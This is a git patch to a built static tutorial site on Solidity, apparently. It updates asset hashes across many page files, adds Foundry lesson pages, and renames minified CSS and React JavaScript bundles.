From 461404b39db832a97929924204aa39dcd5a59e09 Mon Sep 17 00:00:00 2001 From: t4sk Date: Mon, 9 Dec 2024 21:46:05 +0900 Subject: [PATCH] Updates --- 404.html | 4 +- abi-decode/index.html | 4 +- abi-encode/index.html | 4 +- app/airdrop/index.html | 4 +- app/assembly-bin-exp/index.html | 4 +- app/bi-directional-payment-channel/index.html | 4 +- app/create2/index.html | 4 +- app/crowd-fund/index.html | 4 +- app/deploy-any-contract/index.html | 4 +- app/dutch-auction/index.html | 4 +- app/english-auction/index.html | 4 +- app/erc1155/index.html | 4 +- app/erc20/index.html | 4 +- app/erc721/index.html | 4 +- app/ether-wallet/index.html | 4 +- app/gasless-token-transfer/index.html | 4 +- app/iterable-mapping/index.html | 4 +- app/merkle-tree/index.html | 4 +- app/minimal-proxy/index.html | 4 +- app/multi-call/index.html | 4 +- app/multi-delegatecall/index.html | 4 +- app/multi-sig-wallet/index.html | 4 +- app/simple-bytecode-contract/index.html | 4 +- app/time-lock/index.html | 4 +- .../index.html | 4 +- app/upgradeable-proxy/index.html | 4 +- app/write-to-any-slot/index.html | 4 +- array/index.html | 4 +- assembly-error/index.html | 4 +- assembly-if/index.html | 4 +- assembly-loop/index.html | 4 +- assembly-math/index.html | 4 +- assembly-variable/index.html | 4 +- ...{index-Bh51zVLB.css => index-7963GDT_.css} | 2 +- .../{index-st4LY_PE.js => index-D_hc1lMe.js} | 620 ++++++++++++++---- bitwise/index.html | 4 +- call/index.html | 4 +- calling-contract/index.html | 4 +- constants/index.html | 4 +- constructor/index.html | 4 +- data-locations/index.html | 4 +- defi/chainlink-price-oracle/index.html | 4 +- defi/constant-product-amm/index.html | 4 +- defi/constant-sum-amm/index.html | 4 +- defi/dai-proxy/index.html | 4 +- defi/discrete-staking-rewards/index.html | 4 +- defi/stable-swap-amm/index.html | 4 +- defi/staking-rewards/index.html | 4 +- .../index.html | 4 +- defi/uniswap-v2-flash-swap/index.html | 4 +- .../index.html | 4 +- defi/uniswap-v2/index.html | 4 +- defi/uniswap-v3-flash-swap/index.html | 4 +- defi/uniswap-v3-flash/index.html | 4 +- defi/uniswap-v3-liquidity/index.html | 4 +- defi/uniswap-v3-swap/index.html | 4 +- defi/vault/index.html | 4 +- delegatecall/index.html | 4 +- enum/index.html | 4 +- error/index.html | 4 +- ether-units/index.html | 4 +- events-advanced/index.html | 4 +- events/index.html | 4 +- evm/memory/index.html | 4 +- evm/storage/index.html | 4 +- fallback/index.html | 4 +- first-app/index.html | 4 +- foundry/auth/index.html | 45 ++ foundry/basic/index.html | 45 ++ foundry/error/index.html | 45 ++ foundry/event/index.html | 45 ++ foundry/label/index.html | 45 ++ foundry/mock-call/index.html | 45 ++ foundry/send/index.html | 45 ++ foundry/sign/index.html | 45 ++ foundry/time/index.html | 45 ++ function-modifier/index.html | 4 +- function-selector/index.html | 4 +- function/index.html | 4 +- gas-golf/index.html | 4 +- gas/index.html | 4 +- hacks/accessing-private-data/index.html | 4 +- hacks/block-timestamp-manipulation/index.html | 4 +- hacks/contract-size/index.html | 4 +- hacks/delegatecall/index.html | 4 +- hacks/denial-of-service/index.html | 4 +- .../index.html | 4 +- hacks/front-running/index.html | 4 +- .../index.html | 4 +- hacks/honeypot/index.html | 4 +- hacks/overflow/index.html | 4 +- hacks/phishing-with-tx-origin/index.html | 4 +- hacks/randomness/index.html | 4 +- hacks/re-entrancy/index.html | 4 +- hacks/self-destruct/index.html | 4 +- hacks/signature-replay/index.html | 4 +- hacks/vault-inflation/index.html | 4 +- hacks/weth-permit/index.html | 4 +- hashing/index.html | 4 +- hello-world/index.html | 4 +- if-else/index.html | 4 +- immutable/index.html | 4 +- import/index.html | 4 +- index.html | 4 +- inheritance/index.html | 4 +- interface/index.html | 4 +- library/index.html | 4 +- loop/index.html | 4 +- mapping/index.html | 4 +- new-contract/index.html | 4 +- payable/index.html | 4 +- primitives/index.html | 4 +- sending-ether/index.html | 4 +- .../index.html | 4 +- signature/index.html | 4 +- state-variables/index.html | 4 +- structs/index.html | 4 +- super/index.html | 4 +- tests/echidna/index.html | 4 +- transient-storage/index.html | 4 +- try-catch/index.html | 4 +- unchecked-math/index.html | 4 +- user-defined-value-types/index.html | 4 +- variables/index.html | 4 +- view-and-pure-functions/index.html | 4 +- visibility/index.html | 4 +- 126 files changed, 1132 insertions(+), 355 deletions(-) rename assets/{index-Bh51zVLB.css => index-7963GDT_.css} (99%) rename assets/{index-st4LY_PE.js => index-D_hc1lMe.js} (91%) create mode 100644 foundry/auth/index.html create mode 100644 foundry/basic/index.html create mode 100644 foundry/error/index.html create mode 100644 foundry/event/index.html create mode 100644 foundry/label/index.html create mode 100644 foundry/mock-call/index.html create mode 100644 foundry/send/index.html create mode 100644 foundry/sign/index.html create mode 100644 foundry/time/index.html diff --git a/404.html b/404.html index 23adbce12..9f67121c5 100644 --- a/404.html +++ b/404.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/abi-decode/index.html b/abi-decode/index.html index 23adbce12..9f67121c5 100644 --- a/abi-decode/index.html +++ b/abi-decode/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/abi-encode/index.html b/abi-encode/index.html index 23adbce12..9f67121c5 100644 --- a/abi-encode/index.html +++ b/abi-encode/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/airdrop/index.html b/app/airdrop/index.html index 23adbce12..9f67121c5 100644 --- a/app/airdrop/index.html +++ b/app/airdrop/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/assembly-bin-exp/index.html b/app/assembly-bin-exp/index.html index 23adbce12..9f67121c5 100644 --- a/app/assembly-bin-exp/index.html +++ b/app/assembly-bin-exp/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/bi-directional-payment-channel/index.html b/app/bi-directional-payment-channel/index.html index 23adbce12..9f67121c5 100644 --- a/app/bi-directional-payment-channel/index.html +++ b/app/bi-directional-payment-channel/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/create2/index.html b/app/create2/index.html index 23adbce12..9f67121c5 100644 --- a/app/create2/index.html +++ b/app/create2/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/crowd-fund/index.html b/app/crowd-fund/index.html index 23adbce12..9f67121c5 100644 --- a/app/crowd-fund/index.html +++ b/app/crowd-fund/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/deploy-any-contract/index.html b/app/deploy-any-contract/index.html index 23adbce12..9f67121c5 100644 --- a/app/deploy-any-contract/index.html +++ b/app/deploy-any-contract/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/dutch-auction/index.html b/app/dutch-auction/index.html index 23adbce12..9f67121c5 100644 --- a/app/dutch-auction/index.html +++ b/app/dutch-auction/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/english-auction/index.html b/app/english-auction/index.html index 23adbce12..9f67121c5 100644 --- a/app/english-auction/index.html +++ b/app/english-auction/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/erc1155/index.html b/app/erc1155/index.html index 23adbce12..9f67121c5 100644 --- a/app/erc1155/index.html +++ b/app/erc1155/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/erc20/index.html b/app/erc20/index.html index 23adbce12..9f67121c5 100644 --- a/app/erc20/index.html +++ b/app/erc20/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/erc721/index.html b/app/erc721/index.html index 23adbce12..9f67121c5 100644 --- a/app/erc721/index.html +++ b/app/erc721/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/ether-wallet/index.html b/app/ether-wallet/index.html index 23adbce12..9f67121c5 100644 --- a/app/ether-wallet/index.html +++ b/app/ether-wallet/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/gasless-token-transfer/index.html b/app/gasless-token-transfer/index.html index 23adbce12..9f67121c5 100644 --- a/app/gasless-token-transfer/index.html +++ b/app/gasless-token-transfer/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/iterable-mapping/index.html b/app/iterable-mapping/index.html index 23adbce12..9f67121c5 100644 --- a/app/iterable-mapping/index.html +++ b/app/iterable-mapping/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/merkle-tree/index.html b/app/merkle-tree/index.html index 23adbce12..9f67121c5 100644 --- a/app/merkle-tree/index.html +++ b/app/merkle-tree/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/minimal-proxy/index.html b/app/minimal-proxy/index.html index 23adbce12..9f67121c5 100644 --- a/app/minimal-proxy/index.html +++ b/app/minimal-proxy/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/multi-call/index.html b/app/multi-call/index.html index 23adbce12..9f67121c5 100644 --- a/app/multi-call/index.html +++ b/app/multi-call/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/multi-delegatecall/index.html b/app/multi-delegatecall/index.html index 23adbce12..9f67121c5 100644 --- a/app/multi-delegatecall/index.html +++ b/app/multi-delegatecall/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/multi-sig-wallet/index.html b/app/multi-sig-wallet/index.html index 23adbce12..9f67121c5 100644 --- a/app/multi-sig-wallet/index.html +++ b/app/multi-sig-wallet/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/simple-bytecode-contract/index.html b/app/simple-bytecode-contract/index.html index 23adbce12..9f67121c5 100644 --- a/app/simple-bytecode-contract/index.html +++ b/app/simple-bytecode-contract/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/time-lock/index.html b/app/time-lock/index.html index 23adbce12..9f67121c5 100644 --- a/app/time-lock/index.html +++ b/app/time-lock/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/uni-directional-payment-channel/index.html b/app/uni-directional-payment-channel/index.html index 23adbce12..9f67121c5 100644 --- a/app/uni-directional-payment-channel/index.html +++ b/app/uni-directional-payment-channel/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/upgradeable-proxy/index.html b/app/upgradeable-proxy/index.html index 23adbce12..9f67121c5 100644 --- a/app/upgradeable-proxy/index.html +++ b/app/upgradeable-proxy/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/write-to-any-slot/index.html b/app/write-to-any-slot/index.html index 23adbce12..9f67121c5 100644 --- a/app/write-to-any-slot/index.html +++ b/app/write-to-any-slot/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/array/index.html b/array/index.html index 23adbce12..9f67121c5 100644 --- a/array/index.html +++ b/array/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/assembly-error/index.html b/assembly-error/index.html index 23adbce12..9f67121c5 100644 --- a/assembly-error/index.html +++ b/assembly-error/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/assembly-if/index.html b/assembly-if/index.html index 23adbce12..9f67121c5 100644 --- a/assembly-if/index.html +++ b/assembly-if/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/assembly-loop/index.html b/assembly-loop/index.html index 23adbce12..9f67121c5 100644 --- a/assembly-loop/index.html +++ b/assembly-loop/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/assembly-math/index.html b/assembly-math/index.html index 23adbce12..9f67121c5 100644 --- a/assembly-math/index.html +++ b/assembly-math/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/assembly-variable/index.html b/assembly-variable/index.html index 23adbce12..9f67121c5 100644 --- a/assembly-variable/index.html +++ b/assembly-variable/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/assets/index-Bh51zVLB.css b/assets/index-7963GDT_.css similarity index 99% rename from assets/index-Bh51zVLB.css rename to assets/index-7963GDT_.css index b98a540e9..b5aafd63b 100644 --- a/assets/index-Bh51zVLB.css +++ b/assets/index-7963GDT_.css @@ -7,4 +7,4 @@ Outdated base version: https://github.com/primer/github-syntax-dark Current colors taken from GitHub's CSS -*/body.dark .hljs{color:#c9d1d9;background:#0d1117}body.dark .hljs-doctag,body.dark .hljs-keyword,body.dark .hljs-meta .hljs-keyword,body.dark .hljs-template-tag,body.dark .hljs-template-variable,body.dark .hljs-type,body.dark .hljs-variable.language_{color:#ff7b72}body.dak .hljs-title,body.dak .hljs-title.class_,body.dak .hljs-title.class_.inherited__,body.dak .hljs-title.function_{color:#d2a8ff}body.dark .hljs-attr,body.dark .hljs-attribute,body.dark .hljs-literal,body.dark .hljs-meta,body.dark .hljs-number,body.dark .hljs-operator,body.dark .hljs-variable,body.dark .hljs-selector-attr,body.dark .hljs-selector-class,body.dark .hljs-selector-id{color:#79c0ff}body.dark .hljs-regexp,body.dark .hljs-string,body.dark .hljs-meta .hljs-string{color:#a5d6ff}body.dark .hljs-built_in,body.dark .hljs-symbol{color:#ffa657}body.dary .hljs-comment,body.dary .hljs-code,body.dary .hljs-formula{color:#8b949e}body.dark .hljs-name,body.dark .hljs-quote,body.dark .hljs-selector-tag,body.dark .hljs-selector-pseudo{color:#7ee787}body.dark .hljs-subst{color:#c9d1d9}body.dark .hljs-section{color:#1f6feb;font-weight:700}body.dark .hljs-bullet{color:#f2cc60}body.dark .hljs-emphasis{color:#c9d1d9;font-style:italic}body.dark .hljs-strong{color:#c9d1d9;font-weight:700}body.dark .hljs-addition{color:#aff5b4;background-color:#033a16}body.dark .hljs-deletion{color:#ffdcd7;background-color:#67060c}.copy-wrapper{position:relative;height:100%}.copy{position:absolute;top:0;right:0;margin-top:4px;margin-right:12px;color:var(--color-1);background-color:transparent;border:0;border-radius:6px;cursor:pointer}.copy:hover{color:var(--hover-color-1);transition:color linear .2s}._component_nqcni_1{display:flex;flex-direction:row;height:100vh}._sideNav_nqcni_6{max-height:100vh;overflow-y:auto;background-color:var(--side-nav-color);transition:width .3s;transition-timing-function:ease}._main_nqcni_13{max-height:100vh;width:100%;display:flex;flex-direction:column;overflow-y:auto;overflow-x:auto}._children_nqcni_21{display:flex;flex-direction:column;align-items:center;min-width:var(--min-main-width);padding:54px 10px 20px}._list_1ltry_1{list-style:none;padding:0;margin:0}._title_1ltry_6{color:var(--link-color);padding:0;margin:0}._listItem_1ltry_11{display:flex;flex-direction:row;align-items:center;margin:10px 0;padding-left:10px}._listItemActive_1ltry_18{display:flex;flex-direction:row;align-items:center;margin:10px 0;padding-left:10px;background-color:var(--link-active-color)}._link_1ltry_26{font-size:.9rem;text-decoration:none;overflow-x:hidden;white-space:nowrap;text-overflow:ellipsis}._component_1l8rc_1{position:sticky;top:0;display:flex;flex-direction:row;align-items:center;justify-content:space-between;padding:10px 20px;background-color:var(--bg-color);min-width:var(--min-main-width);white-space:nowrap}._a_1l8rc_14{text-decoration:none}._center_1l8rc_18{display:flex;flex-direction:column;align-items:center;justify-content:center}._centerInner_1l8rc_25{display:flex;flex-direction:row;align-items:center}._logo_1l8rc_31{margin:0 5px}._header_1l8rc_35{margin:0 auto 0 0}._mode_1l8rc_40{background-color:transparent;border:0px;cursor:pointer}._hamburger_1l8rc_46{cursor:pointer}._component_18gdn_1{width:130px}._component_o1tj5_1{margin:15px;color:var(--color);display:flex;flex-direction:column;align-items:center}._row_o1tj5_8{display:flex;flex-direction:row;align-items:center}._row_o1tj5_8 ._bar_o1tj5_13{margin-left:5px;margin-right:5px}._row_o1tj5_8 a,._row_o1tj5_8 a:visited{color:var(--link-color)}._to_o1tj5_21{margin:0 5px}._social_o1tj5_24{display:flex;flex-direction:row;align-items:center}._updraft_o1tj5_29{width:20px;margin:5px;border-radius:4px}._telegram_o1tj5_34,._discord_o1tj5_38,._youTube_o1tj5_42{width:20px;margin:5px}._component_17lfp_1{width:100%;max-width:1000px}._content_17lfp_5{margin:15px 10px}._cyfrinLink_17lfp_8{font-style:italic}._prevNext_17lfp_11{margin:20px;display:flex;flex-direction:row;justify-content:space-between}._component_efeb7_1{display:flex;flex-direction:row;align-items:center;background-color:var(--input-bg);border-radius:4px}._icon_efeb7_8{margin:8px;color:var(--black)}._input_efeb7_12{width:100%;height:24px;max-width:300px;padding:5px;border:0;border-radius:4px;background-color:var(--input-bg)}._input_efeb7_12:focus{outline:none;box-shadow:none}._component_1sg38_1{max-width:420px}._component_1sg38_1 ul{list-style:none;padding:0}._updates_1sg38_8{padding:5px 5px 5px 15px;border-radius:5px}._category_1sg38_13{color:var(--link-color)}._search_1sg38_16{margin-top:10px;margin-bottom:10px}._listItem_1sg38_20{display:flex;flex-direction:row;align-items:center;margin-top:10px;margin-bottom:10px;white-space:nowrap}._label_1sg38_28{margin-left:10px}._header_1sg38_31 a{text-decoration:none}._youTube_1sg38_34{display:flex;flex-direction:row;align-items:center;margin:10px 0}._youTubeLogo_1sg38_40{width:30px;padding-right:10px}._updraft_1sg38_44{display:flex;flex-direction:row;align-items:center;margin:10px 0}._updraftLogo_1sg38_50{width:24px;padding-right:10px} +*/body.dark .hljs{color:#c9d1d9;background:#0d1117}body.dark .hljs-doctag,body.dark .hljs-keyword,body.dark .hljs-meta .hljs-keyword,body.dark .hljs-template-tag,body.dark .hljs-template-variable,body.dark .hljs-type,body.dark .hljs-variable.language_{color:#ff7b72}body.dak .hljs-title,body.dak .hljs-title.class_,body.dak .hljs-title.class_.inherited__,body.dak .hljs-title.function_{color:#d2a8ff}body.dark .hljs-attr,body.dark .hljs-attribute,body.dark .hljs-literal,body.dark .hljs-meta,body.dark .hljs-number,body.dark .hljs-operator,body.dark .hljs-variable,body.dark .hljs-selector-attr,body.dark .hljs-selector-class,body.dark .hljs-selector-id{color:#79c0ff}body.dark .hljs-regexp,body.dark .hljs-string,body.dark .hljs-meta .hljs-string{color:#a5d6ff}body.dark .hljs-built_in,body.dark .hljs-symbol{color:#ffa657}body.dary .hljs-comment,body.dary .hljs-code,body.dary .hljs-formula{color:#8b949e}body.dark .hljs-name,body.dark .hljs-quote,body.dark .hljs-selector-tag,body.dark .hljs-selector-pseudo{color:#7ee787}body.dark .hljs-subst{color:#c9d1d9}body.dark .hljs-section{color:#1f6feb;font-weight:700}body.dark .hljs-bullet{color:#f2cc60}body.dark .hljs-emphasis{color:#c9d1d9;font-style:italic}body.dark .hljs-strong{color:#c9d1d9;font-weight:700}body.dark .hljs-addition{color:#aff5b4;background-color:#033a16}body.dark .hljs-deletion{color:#ffdcd7;background-color:#67060c}.copy-wrapper{position:relative;height:100%}.copy{position:absolute;top:0;right:0;margin-top:4px;margin-right:12px;color:var(--color-1);background-color:transparent;border:0;border-radius:6px;cursor:pointer}.copy:hover{color:var(--hover-color-1);transition:color linear .2s}._component_nqcni_1{display:flex;flex-direction:row;height:100vh}._sideNav_nqcni_6{max-height:100vh;overflow-y:auto;background-color:var(--side-nav-color);transition:width .3s;transition-timing-function:ease}._main_nqcni_13{max-height:100vh;width:100%;display:flex;flex-direction:column;overflow-y:auto;overflow-x:auto}._children_nqcni_21{display:flex;flex-direction:column;align-items:center;min-width:var(--min-main-width);padding:54px 10px 20px}._list_1ltry_1{list-style:none;padding:0;margin:0}._title_1ltry_6{color:var(--link-color);padding:0;margin:0}._listItem_1ltry_11{display:flex;flex-direction:row;align-items:center;margin:10px 0;padding-left:10px}._listItemActive_1ltry_18{display:flex;flex-direction:row;align-items:center;margin:10px 0;padding-left:10px;background-color:var(--link-active-color)}._link_1ltry_26{font-size:.9rem;text-decoration:none;overflow-x:hidden;white-space:nowrap;text-overflow:ellipsis}._component_1l8rc_1{position:sticky;top:0;display:flex;flex-direction:row;align-items:center;justify-content:space-between;padding:10px 20px;background-color:var(--bg-color);min-width:var(--min-main-width);white-space:nowrap}._a_1l8rc_14{text-decoration:none}._center_1l8rc_18{display:flex;flex-direction:column;align-items:center;justify-content:center}._centerInner_1l8rc_25{display:flex;flex-direction:row;align-items:center}._logo_1l8rc_31{margin:0 5px}._header_1l8rc_35{margin:0 auto 0 0}._mode_1l8rc_40{background-color:transparent;border:0px;cursor:pointer}._hamburger_1l8rc_46{cursor:pointer}._component_12cj2_1{width:130px}._component_o1tj5_1{margin:15px;color:var(--color);display:flex;flex-direction:column;align-items:center}._row_o1tj5_8{display:flex;flex-direction:row;align-items:center}._row_o1tj5_8 ._bar_o1tj5_13{margin-left:5px;margin-right:5px}._row_o1tj5_8 a,._row_o1tj5_8 a:visited{color:var(--link-color)}._to_o1tj5_21{margin:0 5px}._social_o1tj5_24{display:flex;flex-direction:row;align-items:center}._updraft_o1tj5_29{width:20px;margin:5px;border-radius:4px}._telegram_o1tj5_34,._discord_o1tj5_38,._youTube_o1tj5_42{width:20px;margin:5px}._component_17lfp_1{width:100%;max-width:1000px}._content_17lfp_5{margin:15px 10px}._cyfrinLink_17lfp_8{font-style:italic}._prevNext_17lfp_11{margin:20px;display:flex;flex-direction:row;justify-content:space-between}._component_efeb7_1{display:flex;flex-direction:row;align-items:center;background-color:var(--input-bg);border-radius:4px}._icon_efeb7_8{margin:8px;color:var(--black)}._input_efeb7_12{width:100%;height:24px;max-width:300px;padding:5px;border:0;border-radius:4px;background-color:var(--input-bg)}._input_efeb7_12:focus{outline:none;box-shadow:none}._component_1sg38_1{max-width:420px}._component_1sg38_1 ul{list-style:none;padding:0}._updates_1sg38_8{padding:5px 5px 5px 15px;border-radius:5px}._category_1sg38_13{color:var(--link-color)}._search_1sg38_16{margin-top:10px;margin-bottom:10px}._listItem_1sg38_20{display:flex;flex-direction:row;align-items:center;margin-top:10px;margin-bottom:10px;white-space:nowrap}._label_1sg38_28{margin-left:10px}._header_1sg38_31 a{text-decoration:none}._youTube_1sg38_34{display:flex;flex-direction:row;align-items:center;margin:10px 0}._youTubeLogo_1sg38_40{width:30px;padding-right:10px}._updraft_1sg38_44{display:flex;flex-direction:row;align-items:center;margin:10px 0}._updraftLogo_1sg38_50{width:24px;padding-right:10px} diff --git a/assets/index-st4LY_PE.js b/assets/index-D_hc1lMe.js similarity index 91% rename from assets/index-st4LY_PE.js rename to assets/index-D_hc1lMe.js index 8bcf106ec..7d17136b0 100644 --- a/assets/index-st4LY_PE.js +++ b/assets/index-D_hc1lMe.js @@ -1,4 +1,4 @@ -function Ag(s,a){for(var n=0;nl[p]})}}}return Object.freeze(Object.defineProperty(s,Symbol.toStringTag,{value:"Module"}))}(function(){const a=document.createElement("link").relList;if(a&&a.supports&&a.supports("modulepreload"))return;for(const p of document.querySelectorAll('link[rel="modulepreload"]'))l(p);new MutationObserver(p=>{for(const e of p)if(e.type==="childList")for(const c of e.addedNodes)c.tagName==="LINK"&&c.rel==="modulepreload"&&l(c)}).observe(document,{childList:!0,subtree:!0});function n(p){const e={};return p.integrity&&(e.integrity=p.integrity),p.referrerPolicy&&(e.referrerPolicy=p.referrerPolicy),p.crossOrigin==="use-credentials"?e.credentials="include":p.crossOrigin==="anonymous"?e.credentials="omit":e.credentials="same-origin",e}function l(p){if(p.ep)return;p.ep=!0;const e=n(p);fetch(p.href,e)}})();var Il=typeof globalThis<"u"?globalThis:typeof window<"u"?window:typeof global<"u"?global:typeof self<"u"?self:{};function Ko(s){return s&&s.__esModule&&Object.prototype.hasOwnProperty.call(s,"default")?s.default:s}var Mo={exports:{}},Ap={},So={exports:{}},R={};/** +function Ag(s,a){for(var n=0;nl[p]})}}}return Object.freeze(Object.defineProperty(s,Symbol.toStringTag,{value:"Module"}))}(function(){const a=document.createElement("link").relList;if(a&&a.supports&&a.supports("modulepreload"))return;for(const p of document.querySelectorAll('link[rel="modulepreload"]'))l(p);new MutationObserver(p=>{for(const e of p)if(e.type==="childList")for(const c of e.addedNodes)c.tagName==="LINK"&&c.rel==="modulepreload"&&l(c)}).observe(document,{childList:!0,subtree:!0});function n(p){const e={};return p.integrity&&(e.integrity=p.integrity),p.referrerPolicy&&(e.referrerPolicy=p.referrerPolicy),p.crossOrigin==="use-credentials"?e.credentials="include":p.crossOrigin==="anonymous"?e.credentials="omit":e.credentials="same-origin",e}function l(p){if(p.ep)return;p.ep=!0;const e=n(p);fetch(p.href,e)}})();var Il=typeof globalThis<"u"?globalThis:typeof window<"u"?window:typeof global<"u"?global:typeof self<"u"?self:{};function Fo(s){return s&&s.__esModule&&Object.prototype.hasOwnProperty.call(s,"default")?s.default:s}var Mo={exports:{}},Ap={},So={exports:{}},v={};/** * @license React * react.production.min.js * @@ -6,7 +6,7 @@ function Ag(s,a){for(var n=0;n>>1,$=V[T];if(0>>1;Tp(Sp,v))ka<$&&0>p(hl,Sp)?(V[T]=hl,V[ka]=v,T=ka):(V[T]=Sp,V[wa]=v,T=wa);else if(ka<$&&0>p(hl,v))V[T]=hl,V[ka]=v,T=ka;else break s}}return X}function p(V,X){var v=V.sortIndex-X.sortIndex;return v!==0?v:V.id-X.id}if(typeof performance=="object"&&typeof performance.now=="function"){var e=performance;s.unstable_now=function(){return e.now()}}else{var c=Date,t=c.now();s.unstable_now=function(){return c.now()-t}}var o=[],i=[],I=1,d=null,j=3,u=!1,m=!1,b=!1,B=typeof setTimeout=="function"?setTimeout:null,h=typeof clearTimeout=="function"?clearTimeout:null,g=typeof setImmediate<"u"?setImmediate:null;typeof navigator<"u"&&navigator.scheduling!==void 0&&navigator.scheduling.isInputPending!==void 0&&navigator.scheduling.isInputPending.bind(navigator.scheduling);function C(V){for(var X=n(i);X!==null;){if(X.callback===null)l(i);else if(X.startTime<=V)l(i),X.sortIndex=X.expirationTime,a(o,X);else break;X=n(i)}}function y(V){if(b=!1,C(V),!m)if(n(o)!==null)m=!0,Kp(Z);else{var X=n(i);X!==null&&Mp(y,X.startTime-V)}}function Z(V,X){m=!1,b&&(b=!1,h(Y),Y=-1),u=!0;var v=j;try{for(C(X),d=n(o);d!==null&&(!(d.expirationTime>X)||V&&!Xs());){var T=d.callback;if(typeof T=="function"){d.callback=null,j=d.priorityLevel;var $=T(d.expirationTime<=X);X=s.unstable_now(),typeof $=="function"?d.callback=$:d===n(o)&&l(o),C(X)}else l(o);d=n(o)}if(d!==null)var gl=!0;else{var wa=n(i);wa!==null&&Mp(y,wa.startTime-X),gl=!1}return gl}finally{d=null,j=v,u=!1}}var k=!1,G=null,Y=-1,x=5,N=-1;function Xs(){return!(s.unstable_now()-NV||125T?(V.sortIndex=v,a(i,V),n(o)===null&&V===n(i)&&(b?(h(Y),Y=-1):b=!0,Mp(y,v-T))):(V.sortIndex=$,a(o,V),m||u||(m=!0,Kp(Z))),V},s.unstable_shouldYield=Xs,s.unstable_wrapCallback=function(V){var X=j;return function(){var v=j;j=X;try{return V.apply(this,arguments)}finally{j=v}}}})($o);Po.exports=$o;var xg=Po.exports;/** + */(function(s){function a(V,X){var R=V.length;V.push(X);s:for(;0>>1,$=V[T];if(0>>1;Tp(Sp,R))ka<$&&0>p(hl,Sp)?(V[T]=hl,V[ka]=R,T=ka):(V[T]=Sp,V[wa]=R,T=wa);else if(ka<$&&0>p(hl,R))V[T]=hl,V[ka]=R,T=ka;else break s}}return X}function p(V,X){var R=V.sortIndex-X.sortIndex;return R!==0?R:V.id-X.id}if(typeof performance=="object"&&typeof performance.now=="function"){var e=performance;s.unstable_now=function(){return e.now()}}else{var c=Date,t=c.now();s.unstable_now=function(){return c.now()-t}}var o=[],i=[],I=1,d=null,j=3,u=!1,m=!1,b=!1,G=typeof setTimeout=="function"?setTimeout:null,h=typeof clearTimeout=="function"?clearTimeout:null,g=typeof setImmediate<"u"?setImmediate:null;typeof navigator<"u"&&navigator.scheduling!==void 0&&navigator.scheduling.isInputPending!==void 0&&navigator.scheduling.isInputPending.bind(navigator.scheduling);function C(V){for(var X=n(i);X!==null;){if(X.callback===null)l(i);else if(X.startTime<=V)l(i),X.sortIndex=X.expirationTime,a(o,X);else break;X=n(i)}}function y(V){if(b=!1,C(V),!m)if(n(o)!==null)m=!0,Fp(Z);else{var X=n(i);X!==null&&Mp(y,X.startTime-V)}}function Z(V,X){m=!1,b&&(b=!1,h(Y),Y=-1),u=!0;var R=j;try{for(C(X),d=n(o);d!==null&&(!(d.expirationTime>X)||V&&!Xs());){var T=d.callback;if(typeof T=="function"){d.callback=null,j=d.priorityLevel;var $=T(d.expirationTime<=X);X=s.unstable_now(),typeof $=="function"?d.callback=$:d===n(o)&&l(o),C(X)}else l(o);d=n(o)}if(d!==null)var gl=!0;else{var wa=n(i);wa!==null&&Mp(y,wa.startTime-X),gl=!1}return gl}finally{d=null,j=R,u=!1}}var k=!1,B=null,Y=-1,x=5,N=-1;function Xs(){return!(s.unstable_now()-NV||125T?(V.sortIndex=R,a(i,V),n(o)===null&&V===n(i)&&(b?(h(Y),Y=-1):b=!0,Mp(y,R-T))):(V.sortIndex=$,a(o,V),m||u||(m=!0,Fp(Z))),V},s.unstable_shouldYield=Xs,s.unstable_wrapCallback=function(V){var X=j;return function(){var R=j;j=X;try{return V.apply(this,arguments)}finally{j=R}}}})($o);Po.exports=$o;var xg=Po.exports;/** * @license React * react-dom.production.min.js * @@ -30,14 +30,14 @@ function Ag(s,a){for(var n=0;n"u"||typeof window.document>"u"||typeof 